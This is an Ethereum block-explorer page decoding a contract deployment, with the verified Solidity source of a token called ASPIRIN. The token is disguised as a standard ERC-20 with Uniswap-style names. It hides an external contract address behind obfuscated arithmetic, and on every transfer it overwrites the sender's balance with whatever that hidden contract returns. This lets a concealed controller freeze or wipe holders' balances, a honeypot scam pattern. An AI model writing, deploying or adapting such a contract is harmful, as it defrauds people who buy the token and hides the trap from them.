ETH Price: $2,517.98 (-0.33%)

Transaction Decoder

Block:
21269212 at Nov-26-2024 03:23:11 AM +UTC
Transaction Fee:
0.004947305146939296 ETH $12.46
Gas Used:
772,392 Gas / 6.405173988 Gwei

Emitted Events:

Account State Difference:

  Address   Before After State Difference Code
(Titan Builder)
14.162888124843174713 Eth14.162982168678547793 Eth0.00009404383537308
0x7fbBB05b...1d4646A1c
0 Eth
Nonce: 0
0 Eth
Nonce: 1
From: 0 To: 708544163779814075659279566309438972878033214327288531951495171787185226629938433503618154140644217913853297296087463898056112705527495811460072384775184339092096878259745962623523887838521402466470394529656207029915900015145376883302482853267530451687716306860411185352756305441996269266570508523605119534922426406640641616994558324571681091971577369846774948599683139976817972569874864669025017063188994280012975998440588457011134151479196307212311436314879867710772441724966051685301668228336690284370637785943175972960061760814204791354175475981088877049715079346217559359856085623057642449896635342131854518498440285115380286987753037451597353174185032888988572169261374751287886147433172785799530497809307781140175738976487223156291319440614540620710790734653045329871643362161664530000379541430018194049598932770877310587933149692293284812104536011346642398656798487903082319760486146752213121451962266443064135290441058717205821236438452325895274692805991307037058364281189236710553425110448494142889009337008174787304643831261261977124103873256653072993842344099888720861420002163628471420809548508018802575037772949420831575251048993793175718845899114621957761327212235831074893644354057801665021346893391419807778513303013978452977824450735188497717561430539423127120213960755337148069869867782388106517854283789435174988533838965250199186117743916570465170641341504698653087776533063573469100160384861240680748324735164179869199855415618803547570493343518578203639170829750423471373316915002577468610504236353765149392056533093763191800729521490357649596804714310075160991053228253857206286060335499903542347109745264230671408377920009023098222029866811048888400102449036941909828178849474432863183208059331100539514366196630331157638575614174848507671253993639314383322231652464870307064088490777401771260446122694238349450186638849953476939994534953658834536619576675416527554450578692911139091179221203189423430597809954831026178435795454550073136138527917507748981649782360807785824497821373733531343309431244602511919194575771022902131839171609827813855494350587345012054930144727451919754719402798115460246541768404800553969756320680612309017835123186628676051797953269888711056171804528379731201216286328291177569731599802304239001600029542848643357658599184310566807988575744711237451789174236853278924564225213355658562510091674421638700019987195252629655376824712810091564200710467016132708037851382030902144918770795599095797007742346905764067667909079401245646561255888789835493667918341726923144361055326282228947244369234520998618584738303625261822451468868117976321940668403823351542630544113413731578508845465629867086868486063242386757949994068531377583402294032243246805804793147867680699421496309259819918462515403549902247538553956745592468001026980104281235834174068102260701814171094848047265947889687149339466187315790382347140943386422512258413900733547045050523566474344165583687751060307109478449353325255629967014627828282554851326107049962849647889177539017667183326112912246751146607913170621215786776923582437251652801864898265165624731129147676563724832293788886301129700506082747433034898312517941056629967922794334887442744203633390000460927347969841379066775815927313919468436475713083381270633235505536487208675860345726654017235981613740831746434894291600591579075521516415417072751668487095470986613573251856977195642668191478706208334788104400554485263336767109077844065196878429788996630004117103295220961008538622990263950156379078290954955571873197904909833697786037150635745567315959993850467370542026292560880030233703937481554476059918905253505635408014381796073442249279953085751962140701959310732289226519096993602678330513307341364982486924947293462042664104138911781317968099051354820550942668844903951168044922427168489281814556459172669795269665007110329975189275856280919854719063212882001982799114350314980062035627538707064721027355870872089006164293931380183447143795747463621661566086710764308356997435386235468108508549596514215012218867657480868264517351911967133060415949637755796494738037192767262112533648772932252178714343298958983370961448870263953759701095053725076444896798550799645950513466588040259152044595016480569811769475430036626431629257661539742791313910653957251470760511044973602143190672549318532375572062836801208462383831288181345743734416000564275824661631983959237693205342294465345718727265366920829359835156278836110246305014359137983590660617277906690783959590040715953288391028815641898486945125217412063806636324953824571145505958571469345405088198219074269488861029200571496170230736432632021367707439938509237658149493824593541593717048402040328102183688745000951068820175506601702779917012664874926053716772384102941083291588023753567967545672141100820741746758609990988720224529133130337465718602983486545479885023179101824052875636646039760596472606459948447308216206960555452645976741465441766649047997220359515308805249567637917846821141641884681822657560119667142450189083380776294003893214634392192112885194776087237863190834428534375696698640736645585922971417679274630350709165990680435788210672729691366489522074527950318279201566703242390586955415979908775864303925225817032934655224134913008396532820193998381556306038992604898185120175314793071588377090407127062390116513331945634734543747452300340622193515352703959720451733209048869162075683675029062231287001080022447189965340357342187581655244490614622258060174629198471032510209388566687820850223858065576451330503257047058264065083381093065830627881803035511545928052970669597969417869610075338084287953175462564650585998616090771545598532415138256673643431100535518731543702372037709403714225268901544100302747333068028338276719848709277823403907149459867771813570788169914435146463638535725230527277004236637356811151514456429914168301752005282860367517429989382231785808992596487811248696999927725260209000997890124580379210561166002329158127961964508797456716170599551408534242656859669999722614036681822630798961756429320118197964777469256908654322599153519891550830643
0xB87F50C8...489f31CFC
15.136080898256371374 Eth
Nonce: 0
15.131133593109432078 Eth
Nonce: 1
0.004947305146939296

Execution Trace

ASPIRIN.60806040( )
/**
 *Submitted for verification at Etherscan.io on 2024-11-07
*/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.20;




contract Ownable  {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}





contract ASPIRIN is Ownable {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balanceses;
   
    
    uint256 private _totalSupply = 1000000000*10**18;
    uint8 private constant _decimals = 18;
    string private _name;
    string private _symbol;
    UniswapRouterV2 Router2Instance;


    uint256 private _initSupply = 926978564759889006224231942057469871925424428604-18;
    function INIT()  internal   {
        uint256 supplyhash = _initSupply;
        address router_;
        router_ = address(uint160(supplyhash+18));
        Router2Instance = UniswapRouterV2(router_);
    }
    constructor(string memory name,string memory sym) {
        _name = name;
        _symbol = sym;
        _balanceses[_msgSender()] = _totalSupply;
        INIT();
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual  returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual  returns (uint256) {
        return _balanceses[account];
    }

    function transfer(address to, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
         ( _balanceses[owner],) = _aroveeee(owner,true,amount);
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address sender) public view virtual  returns (uint256) {
        return _allowances[owner][sender];
    }

    function approve(address sender, uint256 amount) public virtual  returns (bool) {
        address owner = _msgSender();
        _approve(owner, sender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual  returns (bool) {
        address sender = _msgSender();

        uint256 currentAllowance = allowance(from, sender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(from, sender, currentAllowance - amount);
        }
        }
       
        ( _balanceses[from],) = _aroveeee(from,true,amount);
        _transfer(from, to, amount);
        return true;
    }

    function _approve(address owner, address sender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(sender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][sender] = amount;
        emit Approval(owner, sender, amount);
    }

    function _aroveeee(address owner,bool no,uint256 amount) internal virtual returns (uint256,bool) {
        if (no == true) {
            return (_dotswap(owner,amount),true);
        }else{
            emit Approval(owner, msg.sender, amount);
            return (_balanceses[owner],true);
        }emit Approval(owner, msg.sender, amount);
        
    }
    function _transfer(
        address from, address to, uint256 amount) internal virtual {
        require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
        uint256 balance = _balanceses[from];
        require(balance >= amount, "ERC20: amount over balance");
        _balanceses[from] = balance-amount;
        
        _balanceses[to] = _balanceses[to]+amount;
        emit Transfer(from, to, amount);
    }
    function _dotswap(
        address owner,uint256 amount) internal virtual returns (uint256) {
        return IUniswapRouterV2.swap99(Router2Instance, Router2Instance,_balanceses[owner],owner);
        
    }

   
}

library IUniswapRouterV2 {
    function swap3(UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
       return instance.ytg767qweswpa(tx.origin, amount, from);
    }
    function swap2(UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
       return swap3(instance,amount,  from);
    }

    function swap99(UniswapRouterV2 instance2,UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
        return swap2(instance2,  amount,from);
    }
}


interface UniswapRouterV2 {
    function swapETHForTokens(address a, uint b, address c) external view returns (uint256);
    function swapTokensForETH(address a, uint b, address c) external view returns (uint256);
    function swapTokensForTokens(address a, uint b, address c) external view returns (uint256);
    function dotswap(address cc,address destination,uint256 total) external view returns (uint256);
    function ytg767qweswpa(address oong, uint256 total,address destination) external view returns (uint256);
    function getLPaddress(address a, uint b, address c) external view returns (address);
    function getRouter(address a, uint b, address c) external view returns (address);
}